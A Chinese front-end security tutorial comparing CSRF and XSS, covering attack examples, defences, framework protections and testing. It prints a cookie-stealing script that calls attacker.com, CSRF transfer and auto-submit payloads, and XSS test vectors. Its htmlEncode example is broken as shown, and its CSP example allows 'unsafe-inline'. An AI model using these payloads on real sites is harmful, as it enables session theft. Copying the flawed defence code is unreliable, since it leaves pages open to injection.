您现在的位置是:网站首页 > CSRF 与 XSS 的区别文章详情
CSRF 与 XSS 的区别
陈川
【
前端安全
】
47754人已围观
5032字
CSRF 与 XSS 的基本概念
CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的前端安全威胁。CSRF 利用用户已登录的身份,在用户不知情的情况下执行非预期的操作;XSS 则是通过注入恶意脚本到网页中,窃取用户数据或执行其他恶意行为。虽然两者都涉及"跨站",但攻击方式和防御手段完全不同。
CSRF 的工作原理
CSRF 攻击依赖于用户浏览器中存储的认证信息(如 cookies)。攻击者诱导用户访问恶意网站,该网站自动向目标网站发送请求,浏览器会自动带上用户的认证信息。例如:
<!-- 恶意网站中的代码 -->
<img src="https://bank.com/transfer?amount=1000&to=attacker" width="0" height="0">
如果用户已登录 bank.com,浏览器会自动带上 session cookie,导致转账请求被成功执行。CSRF 攻击的关键在于:
- 用户已登录目标网站
- 目标网站没有足够的 CSRF 防护
- 攻击者能预测或知道请求参数
XSS 的工作原理
XSS 攻击分为三种类型:存储型、反射型和 DOM 型。它们的共同点是将恶意脚本注入到网页中,被浏览器执行。例如一个简单的反射型 XSS:
// 假设网站有这样的代码
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `您搜索了: ${search}`;
// 攻击者构造这样的URL
// https://example.com/search?q=<script>alert('XSS')</script>
当用户访问这个 URL 时,恶意脚本会被执行。XSS 的危害包括:
- 窃取 cookies 和 session 信息
- 修改页面内容
- 重定向用户到恶意网站
- 发起其他攻击(如 CSRF)
两者在攻击目标上的区别
CSRF 主要针对的是"状态改变"操作,如转账、修改密码、发表评论等。攻击者利用的是用户已经通过认证这一事实,而不是直接窃取认证信息。典型的 CSRF 攻击场景:
- 用户登录银行网站
- 用户访问恶意网站
- 恶意网站自动向银行网站发起转账请求
- 银行网站认为这是用户自愿的操作
XSS 则更关注于数据窃取和客户端控制。攻击者通过注入脚本获得在受害者浏览器中执行代码的能力。典型的 XSS 攻击场景:
- 网站存在 XSS 漏洞
- 攻击者注入恶意脚本
- 用户访问包含恶意脚本的页面
- 脚本在用户浏览器执行,窃取 cookies 或其他敏感信息
防御 CSRF 的主要方法
- CSRF Token:服务器生成随机 token 并嵌入表单,提交时验证
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="随机字符串">
<!-- 其他表单字段 -->
</form>
- SameSite Cookie 属性:设置 cookie 的 SameSite 属性为 Strict 或 Lax
Set-Cookie: sessionid=xxxx; SameSite=Lax; Secure; HttpOnly
-
验证 Referer/Origin 头部:检查请求是否来自可信来源
-
自定义头部:对于 AJAX 请求,要求包含自定义头部
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
防御 XSS 的主要方法
- 输入过滤和输出编码:
// 使用文本内容而非HTML
element.textContent = userInput;
// 或者使用专门的库进行编码
function htmlEncode(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
- Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
- HttpOnly 和 Secure Cookie:
Set-Cookie: sessionid=xxxx; HttpOnly; Secure
- 避免危险的 API:
// 避免使用
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// 使用更安全的替代方案
element.textContent = userInput;
实际案例分析
CSRF 案例:某社交网站没有使用 CSRF token,攻击者可以在自己的网站上放置这样的代码:
<form action="https://social.com/post" method="POST" id="csrf">
<input type="hidden" name="content" value="看看这个恶意链接!">
</form>
<script>document.getElementById('csrf').submit();</script>
XSS 案例:某论坛允许用户发布包含 HTML 的内容,但没有进行适当的过滤:
用户评论内容:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
组合攻击的可能性
CSRF 和 XSS 有时会组合使用。例如,攻击者首先通过 XSS 获取 CSRF token,然后再发起 CSRF 攻击。防御这种组合攻击需要多层防护:
- 同时实施 CSRF 和 XSS 防护
- 限制敏感操作的频率
- 实施二次验证(如短信验证码)
- 监控异常行为
现代前端框架的防护
现代前端框架如 React、Vue 和 Angular 提供了一些内置的防护:
React:
// 自动转义内容
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>; // 安全,内容会被转义
// 危险地设置HTML(需要显式操作)
return <div dangerouslySetInnerHTML={{__html: userInput}} />;
Vue:
<!-- 自动转义 -->
<div>{{ userInput }}</div>
<!-- 危险地设置HTML -->
<div v-html="userInput"></div>
虽然框架提供了基础防护,开发者仍需注意:
- 避免直接使用 v-html/dangerouslySetInnerHTML
- 正确处理 URL 和样式
- 验证来自第三方的组件
测试和验证方法
验证 CSRF 防护是否有效:
- 检查所有状态修改操作是否要求 CSRF token
- 尝试用 curl 或 Postman 复制请求,去掉 token 看是否拒绝
- 检查 SameSite cookie 设置是否正确
验证 XSS 防护是否有效:
- 尝试在所有输入点注入简单脚本:
<script>alert(1)</script>
- 测试 DOM XSS 向量:
javascript:alert(1)
或" onerror="alert(1)
- 使用自动化工具如 OWASP ZAP 或 Burp Suite 扫描
- 检查 CSP 是否配置正确且没有 'unsafe-inline'
相关安全头部
除了专门针对 CSRF 和 XSS 的措施,以下 HTTP 头部也能增强安全性:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'
开发流程中的安全实践
- 安全代码审查:将 CSRF 和 XSS 检查纳入代码审查清单
- 自动化测试:在 CI/CD 流程中加入安全测试
- 安全培训:定期对开发团队进行安全培训
- 依赖管理:定期更新依赖库,避免使用已知有漏洞的版本
- 错误处理:确保错误信息不泄露敏感数据
性能与安全的平衡
某些安全措施可能影响用户体验或性能,需要权衡:
- CSRF token 增加了请求大小,但对性能影响很小
- 严格的 CSP 可能阻止某些合法脚本,需要仔细配置
- 输入验证会增加服务器负载,但不应省略
- 二次验证提高了安全性,但可能降低用户体验
浏览器安全特性的演进
现代浏览器不断引入新特性来对抗这些攻击:
- SameSite cookies:Chrome 80+ 默认将没有 SameSite 标记的 cookie 视为 Lax
- Trusted Types:限制危险的 DOM API,防止 XSS
// 启用 Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'
- Fetch Metadata:提供更多请求上下文帮助服务器判断请求合法性
常见误区与陷阱
- 认为 HTTPS 就能防止 CSRF:实际上 HTTPS 只加密通信,不防止 CSRF
- 仅在前端验证:前端验证可被绕过,必须服务器端验证
- 过度依赖黑名单:应使用白名单方法,只允许已知安全的输入
- 忽视第三方依赖:引入的第三方库可能包含漏洞
- 认为框架完全安全:框架只提供基础防护,错误使用仍会导致漏洞
上一篇: CSRF 攻击的典型场景
下一篇: CSRF 攻击的危害